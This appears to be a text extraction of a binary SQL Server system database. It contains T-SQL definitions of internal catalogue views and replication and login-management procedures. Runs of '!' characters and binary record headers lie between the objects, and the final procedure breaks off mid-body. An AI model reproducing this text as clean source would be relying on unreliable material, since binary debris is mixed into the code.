!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<I&"0[ 8
create view sys.spt_tables_info_view
as
    select
    -- begin (for doing joins)
        OBJECT_ID               = o.object_id,
        SCHEMA_ID               = o.schema_id,
    -- end (for doing joins)
        TABLE_CATALOG           = db_name(),
        TABLE_SCHEMA            = schema_name(o.schema_id),
        TABLE_NAME              = o.name,
        TABLE_TYPE              = convert(nvarchar(30),
                                  case o.type
                                  when 'U' then
                                      case o.is_ms_shipped when 0
                                      then N'TABLE' else N'SYSTEM TABLE' end
                                  when 'S' then N'SYSTEM TABLE'
                                  when 'V' then
                                      case o.is_ms_shipped when 0
                                      then N'VIEW' else N'SYSTEM VIEW' end
                                  when 'SN' then N'SYNONYM'
                                  end),
        TABLE_GUID              = convert(uniqueidentifier, null),
        BOOKMARKS               = convert(bit, 1),
        BOOKMARK_TYPE           = convert(int, 1), --DBPROPVAL_BMK_NUMERIC
-- These are different for 32/64 bit clients, so handle them in the procedures.
--      BOOKMARK_DATATYPE       = convert(smallint, ?),
--      BOOKMARK_MAXIMUM_LENGTH = convert(int, ?),
        BOOKMARK_INFORMATION    = convert(int, 0),
        TABLE_VERSION           = convert(bigint, ObjectPropertyEx(o.object_id, 'objectversion')),
        CARDINALITY             = convert (int,
                                           case when o.type in ('U','S')
                                           then (0x7FFFFFFF & convert(int, ObjectPropertyEx(o.object_id, 'cardinality'))) -- used to be "p.rows"
                                           else NULL
                                           end),
        DESCRIPTION             = convert(nvarchar(1), null),
        TABLE_PROPID            = convert(int, null),
        TABLE_FLAGS             = convert
                                  (int,
                                    (
                                        case ObjectProperty(o.object_id, 'TableHasUpdateTrigger')
                                        when 1 then
                                        (
                                            case ObjectProperty(o.object_id, 'HasInsteadOfUpdateTrigger')
                                            when 1 then
                                            (
                                                case ObjectProperty(o.object_id, 'TableUpdateTriggerCount')
                                                when 0 then 0x00000001 -- TABLE_HAS_UPDATE_INSTEAD_OF_TRIGGER
                                                else        0x00000009 -- TABLE_HAS_UPDATE_INSTEAD_OF_TRIGGER & TABLE_HAS_AFTER_UPDATE_TRIGGER
                                                end
                                            )
                                            else 0x00000008 -- TABLE_HAS_AFTER_UPDATE_TRIGGER (or internal error)
                                            end
                                        )
                                        else 0 -- neither IOU triggers nor update triggers (or internal error)
                                        end
                                    ) |
                                    (
                                        case ObjectProperty(o.object_id, 'TableHasDeleteTrigger')
                                        when 1 then
                                        (
                                            case ObjectProperty(o.object_id, 'HasInsteadOfDeleteTrigger')
                                            when 1 then
                                            (
                                                case ObjectProperty(o.object_id, 'TableDeleteTriggerCount')
                                                when 0 then 0x00000002 -- TABLE_HAS_DELETE_INSTEAD_OF_TRIGGER
                                                else        0x00000012 -- TABLE_HAS_DELETE_INSTEAD_OF_TRIGGER & TABLE_HAS_AFTER_DELETE_TRIGGER
                                                end
                                            )
                                            else 0x00000010 -- TABLE_HAS_AFTER_DELETE_TRIGGER (or internal error)
                                            end
                                        )
                                        else 0 -- neither IOD triggers nor delete triggers (or internal error)
                                        end
                                    ) |
                                    (
                                        case ObjectProperty(o.object_id, 'TableHasInsertTrigger')
                                        when 1 then
                                        (
                                            case ObjectProperty(o.object_id, 'HasInsteadOfInsertTrigger')
                                            when 1 then
                                            (
                                                case ObjectProperty(o.object_id, 'TableInsertTriggerCount')
                                                when 0 then 0x00000004 -- TABLE_HAS_INSERT_INSTEAD_OF_TRIGGER
                                                else        0x00000024 -- TABLE_HAS_INSERT_INSTEAD_OF_TRIGGER & TABLE_HAS_AFTER_INSERT_TRIGGER
                                                end
                                            )
                                            else 0x00000020 -- TABLE_HAS_AFTER_INSERT_TRIGGER (or internal error)
                                            end
                                        )
                                        else 0 -- neither IOI triggers nor insert triggers (or internal error)
                                        end
                                    ) |
                                    (
                                        case ObjectProperty(o.object_id, 'TableHasCascadeUpdateForeignKey')
                                        when 1 then 0x00000040 -- TABLE_HAS_CASCADE_UPDATE
                                        else        0
                                        end
                                    ) |
                                    (
                                        case ObjectProperty(o.object_id, 'TableHasCascadeDeleteForeignKey')
                                        when 1 then 0x00000080 -- TABLE_HAS_CASCADE_DELETE
                                        else        0
                                        end
                                    )
                                  )
    from
        sys.all_objects o
    where
        o.type in ('U','V','S','SN')        -- user tables, views, system tables, synonyms
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`b<3d
@0K 8----------------------------------------
-- NOTE: FOR INTERNAL SECURITY USE ONLY!
--      DO NOT DOCUMENT OR USE!
----------------------------------------
create procedure sys.sp_MSaddlogin_implicit_ntlogin
    @loginame		sysname
AS

	declare @default_lang sysname
	declare @exec_stmt nvarchar(4000)

    -- NO-OP IF LOGIN ALREADY EXISTS --
	-- if suser_sid(@loginame) is null

	if not exists(select * from master.dbo.syslogins where loginname = @loginame)
	begin

        -- MUST BE NT NAME --
        if (charindex('\', @loginame) = 0)
            return (1)

	    declare	@newsid	varbinary(85)

        -- OBTAIN NT SID FOR THIS LOGIN (SET STATUS BITS) --
	    select @newsid = get_sid('\U'+@loginame)	    -- NT user
	    if (@newsid IS Null)
	    begin
            select @newsid = get_sid('\G'+@loginame)  -- NT group
	        if (@newsid IS Null)
		        return (1)
	    end
		
		-- FAIL IF SID ALREADY IN SYSLOGINS 
		if exists(select * from master.dbo.syslogins where sid = @newsid)
			return (1)

		-- FAIL IF LOGIN IS SANDBOXED (public role is deny only)
		declare @usage sysname
		select @usage = usage from sys.login_token where principal_id = 0x02
		if (@usage = 'DENY ONLY') -- sandboxed
			return (1) -- Caller will rollback transaction

		set @exec_stmt = 'create login ' + quotename(@loginame) + ' from windows'

		exec (@exec_stmt)

		if @@error <> 0	-- failed
			return (1)	-- Caller will rollback transaction
		
		declare @accessstate char(1)
		select @accessstate = state from sys.server_permissions where 
					class = 100 AND grantee_principal_id = suser_id(@loginame) AND
					type = 'COSQ' AND grantor_principal_id = 1			
		
		if @accessstate = 'G'
		begin
			-- REVOKE ACCESS --
			EXEC %%LocalLogin(Name = @loginame).SetAccess(HasAccess = 0)
		end
    end

    -- RETURN SUCCESS --
    return (0) -- sp_MSaddlogin_implicit_ntlogin
0?dE *8
create procedure sys.sp_indexes_100_rowset
(
    @table_name     sysname,
    @index_name     sysname = null,
    @table_schema   sysname = null
)
as
    select
        TABLE_CATALOG       = s_iv.TABLE_CATALOG,
        TABLE_SCHEMA        = s_iv.TABLE_SCHEMA,
        TABLE_NAME          = s_iv.TABLE_NAME,
        INDEX_CATALOG       = s_iv.INDEX_CATALOG,
        INDEX_SCHEMA        = s_iv.INDEX_SCHEMA,
        INDEX_NAME          = s_iv.INDEX_NAME,
        PRIMARY_KEY         = s_iv.PRIMARY_KEY,
        [UNIQUE]            = s_iv.[UNIQUE],
        [CLUSTERED]         = s_iv.[CLUSTERED],
        [TYPE]              = s_iv.[TYPE],
        FILL_FACTOR         = s_iv.FILL_FACTOR,
        INITIAL_SIZE        = s_iv.INITIAL_SIZE,
        NULLS               = s_iv.NULLS,
        SORT_BOOKMARKS      = s_iv.SORT_BOOKMARKS,
        AUTO_UPDATE         = s_iv.AUTO_UPDATE,
        NULL_COLLATION      = s_iv.NULL_COLLATION,
        ORDINAL_POSITION    = s_iv.ORDINAL_POSITION,
        COLUMN_NAME         = s_iv.COLUMN_NAME,
        COLUMN_GUID         = s_iv.COLUMN_GUID,
        COLUMN_PROPID       = s_iv.COLUMN_PROPID,
        [COLLATION]         = s_iv.[COLLATION],
        CARDINALITY         = s_iv.CARDINALITY,
        PAGES               = s_iv.PAGES,
        FILTER_CONDITION    = s_iv.FILTER_CONDITION,
        INTEGRATED          = s_iv.INTEGRATED,
        STATUS              = s_iv.STATUS

    from
        sys.spt_indexes_view_100 s_iv

    where
        (
            (@table_schema is null and s_iv.TABLE_NAME = @table_name) or 
            object_id(quotename(@table_schema) + '.' + quotename(@table_name)) = s_iv.object_id
        ) and
        (@index_name is null or @index_name = s_iv.INDEX_NAME)

    order by 8, 10, 4, 5, 6, 17
0G@ z8CREATE view sys.dm_fts_memory_buffers
AS
	SELECT * FROM OpenRowset(TABLE FTMEMBUFFERS)
0]T+ 8create procedure sys.sp_MSGetCurrentPrincipal
@db_name sysname
,@current_principal sysname output
as 
begin
select @current_principal = sys.fn_GetCurrentPrincipal (@db_name)
end
0J h8create procedure sys.sp_scriptpubwinsrefreshcursorvars 
(
	@objid int				-- object id
)
as
begin
	declare
			@rc           int
			,@cmd nvarchar(4000)
			,@colname      sysname
			,@ccoltype     sysname
			,@this_col     int
			,@typestring nvarchar(100)
 			,@spacer nvarchar(5)
			,@isset int

	select @cmd = N'
		declare '
		,@spacer = N''

	declare #hccolid cursor local fast_forward for 
		select column_id from sys.columns where object_id = @objid order by column_id asc
	open #hccolid
	fetch #hccolid into @this_col
	while (@@fetch_status != -1)
	begin
		exec @isset = sp_MSiscolpk @objid, @this_col
		if @isset != 0 and exists ( select name from sys.columns where object_id=@objid and column_id=@this_col and is_computed !=1 ) 
		begin
			select @typestring = sys.fn_gettypestring (@objid, @this_col, 1, 0, 0, 0, 1, 0, 0, 0, 0) -- LUDT+Spatial merge conflict trigger
			select @cmd = @cmd + @spacer + N'@pkc' + convert( nvarchar, @this_col ) + N' ' + @typestring 
					,@spacer = N','

			if len( @cmd ) > 3000
			begin
				insert into #proctext(procedure_text) values( @cmd )
				select @cmd = N''
			end
		end
		fetch #hccolid into @this_col
	end
	close #hccolid
	deallocate #hccolid
	if len(@cmd) > 0
		insert into #proctext(procedure_text) values( @cmd )
	--
	-- all done
	--
	return 0
end
05 8CREATE PROCEDURE sys.sp_helpsubscriptionerrors
(
    @publisher		sysname,
    @publisher_db	sysname,
    @publication	sysname,
	@subscriber		sysname,
	@subscriber_db	sysname
)
AS
BEGIN
	DECLARE @retcode		int,
			@publisher_id	int,
			@subscriber_id	int,
			@agent_id		int

	-- database must be distribution db
	IF sys.fn_MSrepl_isdistdb(DB_NAME()) <> 1
	BEGIN
		RAISERROR (21482, 16, -1, 'sp_helpsubscriptionerrors', 'distribution')
		RETURN 1
	END
	
	-- retrieve pub/sub/agent id
	SELECT @publisher_id = server_id
		FROM sys.servers
		WHERE UPPER(name) = UPPER(@publisher)

	SELECT @subscriber_id = server_id
		FROM sys.servers
		WHERE UPPER(name) = UPPER(@subscriber)

	SELECT @agent_id = id
		FROM MSdistribution_agents
		WHERE publisher_id = @publisher_id
			AND publisher_db = @publisher_db
			AND (publication = @publication
				OR lower(publication) = N'all')
			AND subscriber_id = @subscriber_id
			AND subscriber_db = @subscriber_db	

    -- PAL Security Check
    EXEC @retcode = sys.sp_MScheck_pull_access @agent_id = @agent_id,
												@agent_type = 0 -- distribution agent
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1

	-- return the resultset
	SELECT msre.* 
		FROM MSrepl_errors msre
		WHERE msre.id IN (SELECT error_id
							FROM MSdistribution_history
							WHERE agent_id = @agent_id)
		ORDER by msre.time desc

	RETURN 0
END
0u? D8
h?
5H
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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-- end (for doing joins)
        TABLE_CATALOG   = db_name(),
        TABLE_SCHEMA    = schema_name(ta.schema_id),
        TABLE_NAME      = ta.name,
        COLUMN_NAME     = c.name,
        COLUMN_GUID     = convert(uniqueidentifier,null),
        COLUMN_PROPID   = convert(int,null),
        ORDINAL         = convert(int,
                                  -- Do not rely on c.column_id for a join!
                                  -- If a column is droped and re-created there will be a gap
                                  -- in column_id sequence and we will get wrong results.
                                  -- Look at MDAC 85041
                                  case
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  1) then 1
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  2) then 2
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  3) then 3
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  4) then 4
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  5) then 5
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  6) then 6
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  7) then 7
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  8) then 8
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  9) then 9
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 10) then 10
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 11) then 11
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 12) then 12
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 13) then 13
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 14) then 14
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 15) then 15
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 16) then 16
                                  end
                                 ),
        PK_NAME         = k.name
    from
        sys.tables ta inner join
        sys.columns c on
            (
                ta.object_id = c.object_id
            ) inner join
        sys.indexes i on
            (
                i.is_primary_key = 1 and
                ta.object_id = i.object_id
            ) inner join
         sys.key_constraints k on
         	(
         		k.parent_object_id = i.object_id and k.unique_index_id = i.index_id
         	)
    where
        (c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  1) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  2) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  3) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  4) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  5) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  6) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  7) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  8) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  9) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 10) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 11) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 12) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 13) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 14) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 15) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 16))

0,@ \8X|hu>v8^w^0X 8create procedure sys.sp_check_sync_trigger
(
    @trigger_procid int
    ,@trigger_op char(10) OUTPUT
    ,@owner sysname = null
)
as
begin
    declare @trigid int
    --
    -- Security check
    -- Make sure this proc is infact being called from the given object(trigger)
    -- 
    if (trigger_nestlevel(@trigger_procid) = 0)
    begin
        raiserror(14126, 16, 2)
        return -1
    end
    --
    -- Security check: the caller of this SP has to be one of the 
    -- predefined replication triggers defined in the db
    --
    if not exists (select so.object_id from (dbo.MSreplication_objects as ro join sys.objects as so
        on ro.object_name = so.name)
        where so.object_id = @trigger_procid and ro.object_type = 'T' 
        and (@owner is null or schema_name(so.schema_id) = @owner))
    begin
        raiserror(14126, 16, 3)
        return -1
    end
    --
    -- process
    --
    select @trigger_op = NULL
    select @trigid = so1.object_id from sys.objects so1, sys.objects so2 where
        so1.type = N'TR' and so1.name like N'trg_MSsync_ins_%' and so1.parent_object_id = so2.parent_object_id
        and so2.object_id = @trigger_procid
    
    -- if nestlevel of insert trigger on same table > 0 then bail
    if trigger_nestlevel( @trigid ) > 0
         return 1
    else
        return 0
end
0
` 88\5I!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Bf`%<,ggR0LC 8
create procedure sys.sp_tables_info_rowset2_64
(
    @table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG           = s_tiv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_tiv.TABLE_SCHEMA,
        TABLE_NAME              = s_tiv.TABLE_NAME,
        TABLE_TYPE              = s_tiv.TABLE_TYPE,
        TABLE_GUID              = s_tiv.TABLE_GUID,
        BOOKMARKS               = s_tiv.BOOKMARKS,
        BOOKMARK_TYPE           = s_tiv.BOOKMARK_TYPE,
        BOOKMARK_DATATYPE       = convert(smallint, 21), --DBTYPE_UI8
        BOOKMARK_MAXIMUM_LENGTH = convert(int, 8),
        BOOKMARK_INFORMATION    = s_tiv.BOOKMARK_INFORMATION,
        TABLE_VERSION           = s_tiv.TABLE_VERSION,
        CARDINALITY             = s_tiv.CARDINALITY,
        DESCRIPTION             = s_tiv.DESCRIPTION,
        TABLE_PROPID            = s_tiv.TABLE_PROPID
    from
        sys.spt_tables_info_view s_tiv
    where
        (@table_schema is null or schema_id(@table_schema) = s_tiv.schema_id) and
        (@table_type is null or @table_type = s_tiv.TABLE_TYPE)
    order by 4, 2, 3
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<\+D9:0 8
create view sys.spt_all_procedures
as
    -- For user procedures
    select
        name                = o.name,
        object_id           = o.object_id,
        schema_id           = o.schema_id,
        procedure_number    = p.procedure_number,
        type                = o.type,
        create_date         = o.create_date
    from
        sys.objects o join
        sys.numbered_procedures$ p on
            (
                p.object_id = o.object_id
            )
    where
        o.type in ('P', 'FN', 'TF', 'IF', 'PC') -- Object type of Procedure

    union all

    -- For system procedures.
    -- We don't have info about numbered system procedures(sp_ddopen;2, etc.)
    select
        name                = o.name,
        object_id           = o.object_id,
        schema_id           = o.schema_id,
        procedure_number    = convert(smallint, -- not in sys.system_objects
                                       case     -- These conditions should match the ones in sys.spt_parameters_numbered_parameters
                                           when o.type in ('P', 'PC') then 1
                                           else                            0 -- 'FN', 'TF', 'IF'
                                       end),
        type                = o.type,
        create_date         = o.create_date
    from
        sys.system_objects o
    where
        o.type in ('P', 'FN', 'TF', 'IF', 'PC') -- Object type of Procedure

0P@ 8-- This proc checks if there is already a subscriber with the given partition.
-- if that subscriber does not match with the given subscriber and subscriber db it sets 
-- the @valid bit to false. If it has to delete the other subscription for the same 
-- partition (This is only done if the force_delete_other bit is set) then it returns
-- a value of 1 in the force_delete_other bit else returns a value of 0 in the force_delete_other bit
create procedure sys.sp_MScheck_subscription_partition
    @pubid uniqueidentifier,
    @subid uniqueidentifier,
    @subscriber sysname,
    @subscriber_db sysname,
    @valid bit output,
    @force_delete_other bit output,
    @subscriber_deleted sysname output,
    @subscriberdb_deleted sysname output
AS
    declare @subdb_table sysname
    declare @subserver_table sysname
    declare @subid_table sysname
    declare @retcode int
    declare @partition_id int
    declare @force_delete_other_input bit
    declare @subnickname  varbinary(6)

    select @valid = 0
    select @force_delete_other_input = @force_delete_other
    select @force_delete_other = 0
    
    if @pubid is NULL
    begin
        raiserror (14043, 11, -1, '@pubid', 'sp_MScheck_subscription_partition')
        return (1)
    end
    
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid
    if @@error<>0 or @retcode<>0
        return 1

    -- if the given publication does not contain any subcsription based articles do nothing
    if not exists (select * from dbo.sysmergepartitioninfo where pubid = @pubid and partition_options = 3)
    begin
        select @valid = 1
        return 0
    end

    -- get the partition id for the current subscriber. For security reasons we want to compute the partition id
    -- of the current subscriber instead of getting the partition_id as a parameter.
    exec @retcode = sys.sp_MSget_current_subscriber_partition_id @pubid, @partition_id output
